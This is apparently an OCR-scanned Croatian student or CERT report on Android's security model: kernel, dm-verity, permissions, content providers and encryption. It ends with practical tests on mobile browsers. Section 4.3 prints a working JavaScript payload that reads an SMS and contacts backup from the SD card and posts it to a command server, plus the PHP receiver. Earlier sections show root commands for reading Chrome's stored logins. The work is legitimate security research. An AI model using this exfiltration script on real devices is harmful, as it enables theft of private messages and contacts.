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1. Uvod

Tvrtka Google je razvila mobilni operacijski sustav Android;
dizajnirana je u pogledu otvorene platforme prema i
licencirana je Apache licencom verzija 2.01 [Android,
2014a].
Zbog ovakvog pristupa bilo je potrebno definirati robusni
sigurnosni model koji bi osiguravao sigurnost podataka,
korisnika, aplikacija uredaja i mreze.
Prema [Android, 2014b]: Android je izraden s fokusom na
Slika 1.1 - Android logo programere te su ugradene razli¢ite sigurnosne kontrole kako
[Android Developers, 2014a] ~ bj smanjile teret prilikom razvoja softvera. No ovo nije
unazadilo pristup naprednim sigurnosnim kontrolama, nego je sustav osmisljen u smislu pocetno
dodijeljenih sigurnosnih kontrola tako da su svi programeri zasti¢eni u odredenom pogledu.
Osim fokusa na programere Android sustav sadrzi ugradene mehanizme za zastitu korisnika;
svakom korisniku dano je na uvid kako radi instalirana aplikacija, odnosno kojim svojstvima i
funkcionalnostima uredaja aplikacija pristupa. Na ovaj nafin otezani su napadi uz pomoc
drustvenog inZenjeringa, instaliranja zlocudnih aplikacija, napade na aplikacije trecih strana i sl.
Alati kori$teni prilikom izrade ovog dokumenta su sljede¢i:
Eclipse Kepler — integrirano razvojno okruzenje sa Android Development Tool (ADT) pluginom
Android SDK — razvojni alati Androida
Android debugging bridge (ADB) — alat za komunikaciju i upravljanje emulatorima i fizickim
uredajem preko naredbene linije (eng. command line)
Dalvik Debug Monitor Server — alat za debuggiranje integriran u ADT
HTC Sensation — Android verzija 4.3.1, CyanogenMod 10.2

! Apache softverska licenca verzija 2.0 izvor: http://www.apache.org/licenses/LICENSE-2.0
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2. SIGURNOSNA ARHITEKTURA ANDROID PLATFORME

U svrhu ostvarivanja [Android, 2014b]: zastite korisnickih podataka, zastite sistemskih resursa 0
izolacije aplikacija. Android sustav pruza sljedece sigurnosne mehanizme:

e robusna sigurnost na razini operacijskog sustava kroz Linux kernel

e obavezno izvriavanje aplikacija u sandbox? okruzenju

e potpisivanje aplikacija

e Dopustenja definirana aplikacijom i1 dopustena od strane korisnika
Na Slika 2.1 mogu se vidjeti komponente Android okoline te sigurnosne komponente kroz razlicite
razine slojeva Android softvera. U sljede¢im poglavljima bit ¢e objasnjena okolina, u smjeru od

na prema gore.

Slika 2.1 Android okolina [Android, 2014b]

Applications

(ome ) (o ] (smme] (] (o ) (e ] |
(o) (o) (o) (o) () o) =) )

Application Framework

- Notification
[ Cortent Providers ] [ Wiew System J [ Ianager ]

=
g
3

Calculator ]

[ Activity Manager ] [ Windows Manager

[ Package Manager ] [Telephonyl‘u‘lanagerl [ Resource Manager ] [ Lo cation Manager ] [ YMPP Service J

Libraries

[ Surface Manager ] [ Media Framemork ] SOLjte ]

[
[ OpendLES ] [ FreeType J [ LiiWebCare J
= J( = )|

Libc

Linux Kernel
. . . . Flash Mermory . .
Display Driver Camera Driver Bluetooth Driver Driver Binder (IPC) Driver
. . R " . P ower
[ USE Driver ] [ Keypad Driver ] [ WiFi Driver ] [ Audio Drivers ] [ I anage ment ]

2 Sandbox- sigurnosni mehanizam zatvaranja aplikacije u kontrolirano okruZenje u kojemu ima ograni¢ene resurse,

dopustenja i sl. [Goldberg, Wagner, Thomas, i Brewer, 1996, str. 4]
2
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2.1 Linux jezgra

Pri samom dnu Androidove okoline nalazi se jezgra operativnog sustava temeljena na
Security-Enhanced Linux operativnom sustavu koja je dodatno prilagodena od strane Google za
mobilne uredaje, tijekom razvoja novijih platformi Google je inkrementalno poboljSavao vlastitu
verziju jezgre Linuxa te je pridonio stvaranju raznih sigurnosnih mehanizama koji su danas
prihvacdeni te implementirani u glavnu verziju Linux jezgre verzije 3.3 [Kernelnewbies, 2012]
Neka od svojstava Androida implementiranih u Linux 3.3 verziju jezgre:

e Binder — interprocesni komunikacijski mehanizam visoke performanse koji sluzi za

omogucavanje komunikacije izmedu procesa.

e Logger — dio sustava za logiranje odredenih poruka nevezanih za poruke jezgre.

e Shrinker — implementacija Androida u pogledu upravljanja aplikacijama, na ovaj nacin

aplikacije ostaju u memoriji dok ih jezgra ne odluci unistiti.

e Pmem — daje mogucénost alociranja fizicki veéeg neprekinutog spremnika kada je potrebno.
Kada sagledamo Linux jezgru sa perspektive sigurnosti postoje mnogi mehanizmi koji osiguravaju
siguran rad sustava primjerice [Android, 2014b]:

e Sustav dopuStenja temeljen na korisnicima

e lzolacija procesa

e Sigurni mehanizmi interprocesne komunikacije (IPC)

e Mogucénost uklanjanja nepotrebnih 1 nesigurnih dijelova jezgre

2.2 Dm-verity

Android verzije 4.4 podrzava verificirani proces podizanja (engl. Boot) kroz koji provjerava
valjanost uredaja (eng. device-mapper-verity - dm-verity), odnosno jezgra provjerava na razini
blokova da pojedine funkcionalnosti nisu bile mijenjane [Android, 2014c¢]. Na ovaj nacin sprjecava
se pokretanje rootkit3 zlonamjernog softvera koji se moze sakriti prilikom pokretanja samog
uredaja bez dm-verity funkcionalnosti.

Valjanost (istintost) blokova se provjerava uz pomo¢ sazetka (eng. hash) SHA256. Svaki
izraCunati sazetak bloka se usporeduje sa stablom saZetaka, gdje korijenski saZetak mora biti

pouzdan, na ovaj nacin cijelo stablo 1 njegova pouzdanost tj. istinitost je povezana kroz sazetke

3 Zlonamjeran softver koji se skriva od sustava te omogucava privilegirani pristup uredaju od strane napadaca

3
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svih blokova, te ako postoje 1 najmanja odstupanja sa stablom sazetaka doslo je do promjene na
sustavu te dolazi do greske u ¢itanju i poruke o izmijenjenosti datoteénog sustava (Slika 2.2). Kako
ne bi doslo do pada performansi prilikom ucitavanja uredaja, provjera blokova radi se po principu
prvog pristupa, odnosno kada sustav pristupa odredenom bloku sustava, paralelno se izvrSava
provjera bloka naspram stabla sazetaka te se verificira trazeni blok i ponasa se u skladu s prethodno

navedenim pravilima.
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Slika 2.2 Princip rada dm-verity funkcionalnosti [Android, 2014c]

2.3 Koncept korisnika i grupa

Koncept korisnika i korisni¢kih grupa omogucuje da korisnik A ne moze Citati i utjecati na resurse
korisnika B ako ne koristi sigurnosne mehanizme provjere. Korisnik u ovome sluéaju ne
predstavlja nuzno ¢ovjeka kao korisnika uredaja nego podrazumijeva i aplikacije odnosno procese
koji se izvode u sustavu i sl.

Svaki korisnik odnosno aplikacija sadrzi svoj korisnicki identifikator (eng. user id — UID), osim
korisnickih identifikatora, postoje i grupe kojima se svakom korisniku moze dodijeliti eng. group
id — GID. Zbog ovakvoga modela te svojstva Linux sustava svaki resurs sustava pohranjen je u
obliku datoteke, svaka datoteka pripada odredenom korisniku, grupi ili ostalim korisnicima
odnosno svim ostalim korisnicima sustava. Ovo se primjerice moze vidjeti na slici 2.3 gdje je
prikazana struktura datoteka na Android telefonu. Kao §to je ve¢ navedeno svaka datoteka i

direktorij sadrzi pripadajuceg korisnika i grupu, kojima njihov vlasnik moze upravljati, u nasem
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slu¢aju svaka aplikacija sadrzi vlastiti direktorij te posjeduje prava na upravljanje samo nad svojim

resursima.

korisnicko ime i grupa

drwxr-x--x 5 u0 a86 2 1970 at.bherbst.net

drwxr—-x—--x 6 u0_a75 1970 com.accuweather.android

ul a89 1970 com.adobe.reader

drwxr-x-—-x : .andrew.apollo

.android.backupconfirm

drwxr—-x—--x bluetoot bluetoot : .android.bluetooth

drwxr—-x—--x 2 .android.

drwxr-x—--x : .android.calculator2

drwxr—-x—--x S .android.calendar

.android.cellbroadcastreceiver
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drwxr-x--x 2 u0 al3 - 4096 Feb 24 13:59 com.android.certinstaller

drwxr—-x—--x 9 u0_ag4 N 4096 Mar 18 01:34 com.android.chrome

drwxr-x--x - - 4096 Mar 8 14:06 com.android.contacts

Slika 2.3 Struktura datoteka, korisnika i korisni¢kih grupa

Kad bi obican korisnik pokuSao ispisati sadrzaj direktorija koji mu ne pripada dobili bi poruku o
nedovoljnim pravima za pristup resursu. Kao $to se moze vidjeti na slici 2.4 nakon prijave kao
administrator naredbom su mogucée je pristupiti prethodno zabranjenom direktoriju /data te ispisati
njegov sadrzaj i dopuStenja. Na ovaj nacin postignut je sigurnosni mehanizam zaStite podataka

aplikacija, resursa sustava i ostalih osjetljivih podataka kroz prava pristupa.

Ovim podacima moguce je pristupati na dva na¢ina, kao administratori sustava (slika 2.5) odnosno
root korisnik, ili kroz mehanizme sustava koji se nazivaju pruZzatelji sadrZaja (eng. Content

Providers).

shell@pyramid:/ $ busybox ls --color -1 /data

es G eoem s Peoilssion denied nedovoljna prava za pristup direktoriju
1|shell@pyramid:/ $ su root login

root@pyramid:/ # busybox ls --color -1 /data L.
ispis podataka kao root

busybox 1ls --color -1 /data

ArwXIrwxXr—-x 2 system system : anr
drwxrwx—-x 2 system system g app

2 root root : app-asec
drwxrwx--x system system : app-1lib
drwxrwx—-x system system g app-private

drwxrws—-—- media audio : audio
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5 system system 4096 Jan 2 1970 backup

lrwXTWXTIWX 1 root root 45 Feb 24 13:58 bugreports ->

drwxrwx—-x 2 system system 4096 Mar 18 11:57 dalvik-cache
drwxrwx—--x 120 system system 4096 Mar 18 11:57 data

Slika 2.4 Ispis strukture direktorija kao root korisnik

root@pyramid:/data # busybox ls -Ra | grep contact -i

com.android.contacts
com.android.providers.contacts
com.google.android. syncadapters.contacts
./data/com.android.contacts:
./data/com.android.contacts/cache:

./data/com.android.contacts/shared prefs:

com.android.contacts preferences.xml

contacts.en GB.dict
contacts.en US.dict

contacts.hr.dict

Slika 2.5 Pristup podacima kontakata kao root korisnik

Sloj iznad jezgre sustava sadrzi temeljne biblioteke Androida pisane u C 1 C++ programskom
jeziku te sluze za upravljanje uredajem 1 obradu razlic¢itih vrsta podataka. Uz ove biblioteke nalazi
se Android Runtime koji sadrZi temeljne biblioteke Java programskog jezika zajedno s Dalvik
virtualnim strojem (eng. Dalvik Virtual Machine, DVM). Dalvik virtualni stroj napravljen je po
uzoru na Javin virtualni stroj skra¢eno JVM, ali je optimiziran za mobilne uredaje razli¢itim
tehnikama minimalizacije koriStenja memorije, brzog kreiranje novih procesa 1 sl. Na Android
platformi izvorni Java kod se kompajlira u datoteke s nastavkom .class, te ih zatim poseban alat

pod nazivom ,,dx“ pretvara u .dex datoteke koje se nazivaju Dalvik Executable file odnosno dalvik
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izvrS$ne datoteke.[Brihler,2010, str. 17-19]. Na Slika 2.6 Usporedba .class i .dex formata[Brahler,
2010, str. 4] moze se vidjeti usporedba standardne Java arhive s nastavkom .jar koji sadrzi .class
Java datoteke te Android paketa s nastavkom .apk, Format .dex se razlikuje od standardno
kompajliranih Java .class datoteka po bazenu konstanti (eng. constant pool), odnosno lokaciji i
naCinu spremanja konstantnih vrijednosti prilikom izvrSavanja aplikacije. Ovako je sprijeCeno

ponavljanje konstanti kroz razlicite klase, te sve klase u .dex datoteci dijele ove prostore.

- ~N /)
L alo
.class file
heterogeneous | X
|_constant pool : d
i string_ids
other data constant pool
type_ids
J constant pool
.class file ‘- proto_ids
heterogeneous ' : SO
constant pool ‘ field_ids
—‘ ‘ constant pool
method_ids
ther dat —
other data | constant pool
class file
heterogeneoué other data
constant pool
other data ‘

Slika 2.6 Usporedba .class i .dex formata [Bréhler,2010, str. 19].
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3. ZASTITA KORISNIKA

Android sustav odrzava razinu sigurnosti s ograni¢enjima pristupa i primjenom enkripcije, N0
za pravilno funkcioniranje odredenih aplikacija sustav im moze omoguciti pristup do odredenih
osjetljivih podataka kao §to su kontakti, korisni¢ki profili, certifikati i sl. Ovakvi pristupi
osjetljivim podacima bez krSenja sigurnosnih mehanizama osiguravaju se uz pomo¢ API-ja

odnosno aplikacijskog programskog sucelja (eng. application programming interface).

3.1 Content Providers

Content Provider u prijevodu pruzatelj sadrzaja je mehanizam uz pomo¢ kojega Android
sustav aplikacijama pruza strukturirani skup podataka. [Android Developers, 2014b]
Uz pomo¢ pruzatelja sadrzaja aplikacije mogu pristupati osjetljivim ili zaSti¢enim podacima ako
su za to prethodno dobili dopustenje sustava odnosno korisnika. Moguce je izraditi vlastiti
pruzatelj sadrzaja ako programer zeli da njegova aplikacija dijeli podatke s drugim aplikacijama.
Pruzateljima sadrzaja se pristupa uz pomoé content URI*, gdje se uz unos pruzatelja podataka te
imena koji pokazuje na odredeni tablicu podataka moZze pristupiti odredenim podacima sustava.
Primjerice ako korisnik ili developer Zeli pristupiti rjeniku koji se nalazi na sustavu koristit ¢e
sljede¢i URI: content://user_dictionary/words, na ovaj nacin aplikacija pristupa pruzatelju
sadrzaja pod nazivom user dictionary (korisnic¢ki rje¢nik) te uz dodatak naziva tablice words
(rijeci) moguce je pristupiti korisnickom rje¢niku koji se nalazi u sustavu.
U slucaju da aplikacija pokuSava pristupiti pruzatelju sadrzaja bez prethodnog dopustenja sustav
odbija vratiti trazene podatke te dolazi do sigurnosne iznimke odnosno izvodenje aplikacije se

prekida.

4 URI — skraéenica od uniformni identifikator resursa (eng. Uniform Resource Identifier) niz znakova koji sluzi za

identifikaciju i interakciju s resursima [Thompson, H. S., 2010]

9
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3.2 Osobni podaci

Osobni podaci spremljeni su unutar lokalnog datote¢nog sustava Androida u obliku SQLite baza
podataka. Pristup ovim bazama ograni¢en prethodno opisanim sigurnosnim mehanizmima. Na
Slika 3.1 Popis pruzatelja sadrzajamogu se vidjeti sve baze osobnih podataka korisnika i osjetljivih
podataka uredaja uz pomo¢ root korisnika. Kao $to se moze zamijetiti svaka baza podataka ima
drugog korisnika odnosno razli¢itog pruzatelja sadrzaja. Iz ovog razloga do navedenih podataka
moguce je doc¢i samo kroz sigurnosne mehanizme definirane sustavom uz prethodnu provjeru

prava aplikacije (Slika 3.2 Aplikacijski pristup osjetljivim podacima).

root@pyramid:/data # 1s -1 "find . -name "*.db" | grep providers'
-rw-rw---- u0_all u0_all 122880 2014-03-18 21:38 calendar.db
-rw-rw---- ul0_al u0 al 1069056 2014-03-19 11:20 contacts2.db
-rw-rw---- ul0_al u0 al 311296 2014-03-01 20:23 profile.db
-rw-rw---- u0 _al9 u0 al9 24576 2014-03-18 17:32 downloads.db
-rw-rw-—--- ul0_al9 u0_al9 20480 2014-02-25 02:37 drm.db

-rw-rw---- u0_al9 u0_al9 4898816 2014-03-19 11:04 external-494blb0c.db

-rw-rw---- u0 _al9 u0 al9 225280 2014-03-16 21:23 internal.db

-rw-rw-—--- system system 77824 2014-03-19 10:56 settings.db
-rw-rw---- radio radio 126976 2014-03-18 08:38 mmssms.db

-rw-rw—-—-—-- radio radio 176128 2014-03-16 21:23 telephony.db
-rw-rw---- radio radio 16384 2014-03-04 16:15 blacklist.db
-rw-rw---- ul0_al u0 al 16384 2014-03-16 05:50 user dict.db

root@pyramid:/data #

Slika 3.1 Popis pruzatelja sadrzaja

10
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Slika 3.2 Aplikacijski pristup osjetljivim podacima [Android, 2014b]

3.2.1 Osjetljive osobne hardverske komponente: geolociranje, kamera, mikrofon
Osjetljive komponente koje mogu prikupljati vanjske podatke zaSticene su sigurnosnim
mehanizmima sustava te im je moguce pristupati uz pomo¢ Intenta ili aplikacijskog programskog
sucelja (API). U slucaju da aplikacija koristi intent, odnosno $alje namjeru sustavu da zeli koristiti
kameru, mikrofon, geolokaciju i sl; sustav pronalazi pravilnu aplikaciju za rad s trazenim
hardverom te odabranu aplikaciju prikazuje korisniku. Prilikom slanja intenta nije potrebno
eksplicitno traZziti korisnicko dopustenje davanja ovlasti nad traZenim hardverom.

No ako aplikacija radi na nacin da direktno pristupa aplikacijskom programskom sucelju kamere,
mikrofona ili geolokacije potrebno je zatraZiti sigurnosno ovlastenje od korisnika,odnosno sustava,
prije rada sa ovim hardverskim komponentama.

U slucaju da korisnik ne Zeli otkriti trenutnu lokaciju svim aplikacijama moZe zabraniti odnosno

iskljuciti lokacijske servise u postavkama Android pametnog telefona.

3.2.2 Device metadata

Svaki sustav moZe sadrzavati podatke koji se ne smatraju dovoljno vaznim da budu osjetljive
naravi, ali indirektno mogu otkriti odredene karakteristike i podatke koji se mogu iskoristiti u
zlonamjerne svrhe. 1z ovog razloga sam sustav zabranjuje aplikacijama pristup sustavskim
logovima, povijesti pregledavanja weba, postavki mreze, identifikacijske oznake softvera i
hardvera 1 sl. U slucaju da aplikacija za vlastiti rad treba neke od meta podataka mora zatraziti

eksplicitno dopustenje korisnika za njihovo koristenje. Tek nakon §to korisnik dopusti koriStenje
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metapodataka uredaja aplikacija ima dopuStenja sustava za pristup ovakvim podacima, zbog
ovakvih nacina rada korisnik je visSe svjestan Sto se dogada te kakve aplikacije instalira na vlastiti

uredaj.

3.3 Enkripcija pametnog telefona

Prema [Android, 2014b] Android verzije 3.0 te nadalje sustav pruza potpunu enkripciju
datoteCnog sustava i korisnickih podataka unutar kernela koriste¢i dmcrypt implementaciju
AES128 sa CBC 1 ESSIV:SHA256. Klju¢ za kriptiranje je zaSticen AES128 koriste¢i klju¢ koji je
izveden iz korisnicke lozinke te tako zabranjuje pristup uredaju vazece korisnicke lozinke.
Dodatna zastita protiv napada i pokusaja pogadanja lozinke je ostvarena slu¢ajnim dodavanjem
oznake lozinki (eng. random salt) uz postupak zastite lozinki jednosmjernom kriptografskom
funkcijom (eng. hashing) lozinke sa SHA1 koriste¢i standardni PBKDF2 algoritam. Moguce je
postaviti osnovne zahtjeve kompleksnosti lozinke od strane administratora sustava. Koristenje

kriptiranja Android pametnog telefona moZe se prona¢i u Postavkama>Sigurnost>Kriptiranje

telefona (Slika 3.)

VARTAN. o]
{ - Security

SCREEN SECURITY

Screen lock
Slide

Owner info

ENCRYPTION

Encrypt phone

Require a numerical PIN or password to decrypt
your phone each time that you turn it on

SIM CARD LOCK
Set up SIM card lock
PASSWORDS

Make passwords visible

DEVICE ADMINISTRATION

Device administrators
View or deactivate device administrators

Slika 3.3 Sigurnosne postavke Android 4.3.1 uredaja
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3.4 Sigurnosne postavke razli€itih sustava

U ovisnosti od koriStenog tipa i verzije Android sustava mogu se pronaci razliite postavke
sigurnosti. Prema Electronic Frontier Foundation (2013) tijekom razvoja Google Android sustava
u verziji 4.3 pojavila se funkcionalnost parcijalnog upravljanja dopustenjima aplikacija pod
nazivom App ops (Slika 3.4). Tijekom redovnih nadogradnji sustava, ova funkcionalnost je
uklonjena uz izjavu Googlea da je ova funkcionalnost bila eksperimentalna te da bi mogla slomiti
odredene aplikacije sa svojim politikama sigurnosti. Iz ovog razloga je App ops funkcionalnost

uklonjena iz sljede¢ih verzija izvornog Android sustava do daljnjega.

iRy
pp ops (=] App ops

"dm6:27 ¢ 12 @

<(*A

P SideCar
R Version 1.0 ) Version 4.6.0.42007

Q Location Location
(Never used) Allowed: 0 Denied: 0 Allowed
(Never used)
Read contacts E
0 November Read contacts
Allowed: 2 Denied: 0 Allowed
Send SMS/MMS 26 February
(Never used)
Modify contacts
Allowed: 67 Denied: 0 Allowed

Post notification
0 Novembey

Call phone

(Never used)

Modify settings

(Never used)

Keep awake

(Never used)

—

3 hours ago

Wake up
Allowed: 2 Denied: 0
26 February

Post notification
Allowed: 1 Denied: 0
26 February

Call phone
Allowed: 0 Denied: 0
(Never used)

Allowed

Allowed

Allowed

Slika 3.4 App Ops funkcionalnost Androida
(4.3) [Electronic Frontier Foundation, 2013]

Slika 3.5 Privacy Guard postavke za Skype

aplikaciju - CyanogenMod sustava
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No zbog open source politike sustava odredene verzije sustava zadrzale su ovu funkcionalnost
te su je dodatno unaprijedili primjerice CyanogenMod je open source verzija Android sustava
odrzavana od strane zajednice, te je funkcionalnost App Ops funkcionalnosti implementirana
pod nazivom Privacy Guard. Uz pomo¢ ove funkcionalnosti moguce je dopustiti ili zabraniti

aplikacijama pristup odredenim podacima i funkcionalnostima uredaja kao Sto se moze vidjeti

na Slika 3.5.

4. SIGURNOST ANDROIDA U PRAKSI

Prilikom prakti¢noga istrazivanja sigurnost Android sustava fokusirati ¢e se na pokusaj
nedopustenog dohvata sljedec¢ih podataka:

e Razne korisnicke racune i lozinke

e Geolokacijske podatke

e Povijesti koriStenja Interneta

o Poruke, slike, kontakti
Kako su sigurnosni mehanizmi zaStite Android sustava objaSnjeni kroz ovaj dokument,
podrazumijeva se da je do ovih podataka moguce do¢i nekoliko nacina:

e Root administratorska prava pristupa uredaju

e Dohvat sadrzaja uz pomo¢ Content Provider mehanizama

e Pregledom raznih sistemske zapise (eng. log)

e Eskalacija privilegija kroz rupe u sustavu

e IskoriStenje rupa u drugim instaliranim aplikacijama

e Ostali propusti?
Testiranje sigurnosti provodeno je na HTC Sensation, Android 4.3.1 uredaju sa CyanogenMod
10.2 sustavom. Kreiranje aplikacije s trazenjem dopustenja za pristup osjetljivim podacima je
najjednostavniji nacin kako napasti odredeni sustav, no ve¢ina korisnika nece instalirati ovakve
aplikacije te su korisnici relativno zaSti¢eni funkcionalnostima sustava. Kako bi dosli do
odredenih korisnickih podataka moramo znati neSto viSe o njihovim svojstvima: lokacija,
struktura podataka, zaStitni mehanizmi. Uz pretpostavku da nemamo root pristup uredaju,
pristup podacima mozemo ostvariti uz druge aplikacije ili ugradene mehanizme pruzatelja
sadrzaja.

Prije vlastitih pokusaja dolaska do osjetljivih podataka te testiranja sigurnosti Androida

istrazeni su javni izvori sigurnosnih propusta Android sustava. Prema tim izvorima pronaden je
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propust u Androidu do verzije 2.3.4 gdje je moguée uz pomo¢ web preglednika preuzeti
osjetljive podatke uredaja tako §to bi zlonamjerna skripta pozivala pruzatelj sadrzaja preko URI
adrese unutar samog preglednika. Na ovaj nacin moguce je pristupiti kontekstu uredaja te
preuzeti osjetljive podatke u obliku datoteka. [Cannon, 2011].
Ovaj propust je testiran na sljede¢im preglednicima:

e Mozilla Firefox 27.0

e Google Chrome 33.0.1750.136

e Android Browser 4.3.1

4.1 Mozilla Firefox

Sve verzije preglednika uspjeSno odbile pokuSaj pristupa pruzatelju sadrzaja, no daljnjim
istrazivanjem i pokusajima pristupa datote¢nom sustavu dva preglednika (Google Chrome i
Mozilla Firefox) su uspjesno prikazale sadrzaj memorijske SD kartice uredaja na lokaciji
file:///mnt/sdcard/ prema ovome korisnik je mogao pregledavati i ,,Setati sadrzajem SD kartice

kao datote¢nim preglednikom (Slika 4.1).

@ Index of file:///storage/sdcar.. EJ ]

Index of file:///storage/sdcard0/

*U|J|'J|IIg|IL‘l|I."\'L‘|'JIH.‘:lLJI)' «| Show t
Name Size Last Modi
android_secure 010570 O

' -bugsense 1KB 1212513 2
daxt 0224014 1
Alarms 15203 1
Android 12018 2
At 0211314 1
DCiM B3 2
Dovmbcad 31114 1
Intsig 02114
Kingso ftOffice 0120014 1
LOST.DIR 1HNN3 1
Kovies 12211113 1
Music 1221113 1
Maotifications 1221113 1
Pictures 1226013 1
Podcasts 121113 1
Ringtones 03/1514 1

Slika 4.1 Datote¢ni sustav SD kartice

15



Nacionalni foi
CERT” =
Proucavajuci vise file protokol Android preglednika zamije¢eno je da Firefox preglednik moze
doc¢i do korijenskog direktorija, te se ,,Setati po datote¢nom sustavu (Slika 4.2). Ovakva
funkcionalnost moze predstavljati sigurnosni propust u slucaju da aplikacija moze zapisivati i
Citati iz osjetljivih datoteka. Primjerice napada¢ moze dohvatiti verziju jezgre sustava, te na

temelju dohvacenih podataka iskoristiti ranjivosti te verzije sustava(Slika 4.3).

@ Index of file:/// 1]

Index of file:///

Name
acct
cache
config
d
data
) default.prop
dev
devlog
etc
file_contexts
fstab.pyramid
init

init.cmore

44444

init.pyramid.rc

a

init.pyramid.usb.rc

4

init.rc
init.superuser.rc

init.trace.rc

a4 4

init.usb.rc

4

mnt
proc
) property_contexts
root
shin
sdcard

)1 seapp_contexts

sepolicy
storage
sys
system

e oo

Slika 4.2 Pristup korijenskom direktoriju Mozilla Firefox

Y USB connected

@ file:///proc/version

Linux version 3.0.101-Sultan-kernel-ION-r54 (Sultan) (gcc version 4.7.4 20140107 (prerelease) (crosstool-NG li

Slika 4.3 Pristup osjetljivoj datoteci /proc/version
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Trenutne verzije preglednika zaSticene su sa Same Origin Policy (SOP) mehanizmom
koji zabranjuje izvrSavanje skripti te dohvat drugih datoteka ako se ne nalaze na istoj lokaciji i
protokolu kao izvrSavana skripta. Primjerice ako se skripta izvrSava na lokaciji:
https://www.foi.hr/skriptal.html znaci da je skripta izvrSavana unutar www.foi.hr domene sa
https protokolom. Ovakva zastita zabranjuje skripti koja se izvrSava na stranici skriptal.html
izvrSavanje i dohvat bilo kojih datoteka ili vanjskih skripti.
Daljnjim istrazivanjem propusta Android sustava, ranjivost unutar Firefox preglednika je ve¢
bila otkrivena prema ViaForensics (2013), bilo je moguce zaobi¢i SOP mehanizam uz pomo¢
kreiranja simbolickog linka na datoteku koju skripta zeli preuzeti. Ovo je bio ozbiljan propust
te je bilo moguce dohvatiti bilo koju datoteku kojoj je Firefox preglednik imao pristup unutar
korijenskog direktorija. Sigurnosni propust je pravilno prijavljen Mozzili te je prema
ViaForensics (2013) datuma 18.09.2013 pravilno rijesen.

Tijekom testiranja pronadenog propusta i koriste¢i metode kreiranja simbolickih
linkova Mozzila Firefox 27.0 bila je otporna na navedeni napad, no to ne znaci da postoji
moguénost drugacijih vrsta napada te dohvata osjetljivih podataka uz pomo¢ Firefox

preglednika.

4.2 Google Chrome

Osim prethodno navedenih propusta i sigurnosnih zakrpa Firefox preglednika,
ustanovljena je jo$ jedna moguca ranjivost koju je moguce iskoristiti s administratorskim
pristupom uredaju ili ranjivosti eskalacije privilegija. Google Chrome browser sprema razne
osjetljive korisnicke podatke u obliku ne kriptiranih SQLite baza na lokaciji
/data/data/com.android.chrome/app_chrome/Default kao $to se moze vidjeti na Slika 4.4

® © @ android@honeynet: ~
File Edit View Terminal Help
- ->pwd
/data/data/com.android. chrome/app_chrome/Default
--»sglite3 "Login Data"
SQLite version 3.7.11 2012-83-20 11:35:50
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sglite> .schema logins
CREATE TABLE logins (origin_url VARCHAR NOT NULL, action url VARCHAR, username element VARCHAR, username value VARCHAR, password ele

signon_realm VARCHAR NOT NULL,ssl_valid INTEGER NOT NULL,preferred INTEGER NOT NULL,date created INTEGER NOT NULL,blacklisted by use
TEGER,possible usernames BLOB,times used INTEGER,form data BLOB,UNIQUE (origin url, username element, username value, password eleme
CREATE INDEX logins signon ON logins (signon realm);

sglite> select origin url,username value, password value from logins limit 5;

http://duolingo. com/| |
https://www.last.fm/login]|

Slika 4.4 Korisnicki podaci i lozinke spremljene u obi¢nome tekstu
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U sluc¢aju da zlonamjerni korisnik eskalalira privilegije pristupa podacima svi osjetljivi
podaci korisnika su dostupni bez ikakve enkripcije, te bi bilo preporuc¢eno napraviti obfuskaciju

i enkripciju osjetljivih podataka kao preventivnu mjeru zastite od zlonamjernih napada.

4.3 Zlonamjerne skripte

Kako bi demonstrirali na¢in rada zlonamernih skripti i krade osjetljivih podataka kreirana
je osnovna skripta koja datoteku s osjetljivim podacima prenosi na komandni server (Slika 4.5).
Skripta je kreirana po uzoru na prethodno pronadeni i popravljeni propust [Cannon, 2011].
Nakon $to skripta dohvati ciljanu datoteku i pokrene prijenos podataka na server, server
prihvaca primljene podatke te ih sprema u obliku JSON polja unutar datoteke payload.txt na
samome serveru (Slika 4.6).

@ evilscript.html %
<!DOCTYPE html>

<html> Osijetljiva datoteka
<head>
</head>
<body >
<script language='javascript'>

var sadrzaj = new Array();

var filename = "/mnt/sdcard/SmsContactsBackup/sms/sms 20131221191957.xml";
function reglListener () {

if (xhr.readyState == 4) { sadrzaj[filename] = btoa(processBinary(xhr)); }
var form = document.createElement('form');

form.setAttribute('method', 'POST');

form.setAttribute(’enctype’, 'multipart/form-data’);
form.setAttribute('action', 'http://arka.foi.hr/~maorsolic/index.php?dohvatiDatoteke=1");

var fe = document.createElement('input’); \
fe.setAttribute('type', 'hidden’');

fe.setAttribute('name', filename); R
fe.setAttribute('value', sadrzaj[filename]); komandi server

form.appendChild(fe);
document.body.appendChild(form);
form.submit();

}
function processBinary(xmlhttp) {
data = xmlhttp.responseText; o= size = data.length;
for(var i = 0; 1 < size; i++) r += String.fromCharCode(data.charCodeAt(1i) & Oxff);

Slika 4.5 Zlonamjerna payload skripta

18



Nacionalni m foi
CERT" &0 —

@ index.php &

<html=
<body=

</body>

</html=

<7php

if(isset($ GET['dohvatiDatoteke'])){
4fp = fopen(“payload.txt", "w") or die("Ne mogu otvoriti datoteku za zapisivanje");
fwrite(sfp, print_r{json encode($ POST), TRUE)) or die("Me mogu zapisati podatke");
fclose(sfp);
echo "Payload uploadan na <a href=\"payload. txt\ "=payload.txt</a=!";

7=

Slika 4.6 Skripta komandnog servera

Ako bi zlonamjerni korisnik kreirao aplikaciju koja trazi dopustenja:

¢ Pisanje/Citanje na vanjsku memoriju

¢ Internet dopustenja
Mogao bi pretraziti vanjsku memoriju u svrhu pronalaska osjetljivih podataka; mnogi korisnici
aplikacije prebacuju na SD karticu iz raznih razloga, najcesce je to uSteda interne memorije, no
na ovaj nacin aplikacije izlaZu osjetljive podatke koji nisu zasticeni od raznih napada. Nakon
Sto aplikacija pronade datoteku s osjetljivim podacima primjerice: certifikati, backup kontakata,
fotografije i sl. Aplikacija zlocudnu skriptu kreira u direktoriju ciljane datoteke, na ovaj nacin
zaobilazi se Same Origin Policy zastita te skripta moze ucitati i prenesti ciljane datoteke na
udaljeni server. Primjerice na Slika 4.7 moze se vidjeti krada kontakata i SMS poruka koja se
nalazi u backup datoteci ,,sms_20131221191957.xml*. Datoteka je spremljena u XML formatu
te je skripta ucitava i Salje na udaljeni server; server zatim prima ukradenu datoteku i sprema je
u novu datoteku s nazivom payload.txt u JSON formatu. Moguce je prenesti i vise datoteka
odjednom, skripta uspjesno radi na Google Chrome i Firefox pregledniku. Vazno je napomenuti
da je prethodno spomenute tehnike moguce izvrsiti i samo s zlo¢udnom aplikacijom koja ima
Internet dopustenja i dopustenje za rad s memorijom. Na ovaj nacin aplikacija direktno ¢ita i
prenosi osjetljive datoteke na komandni server, no primjer sa skriptom pokazuje kako je
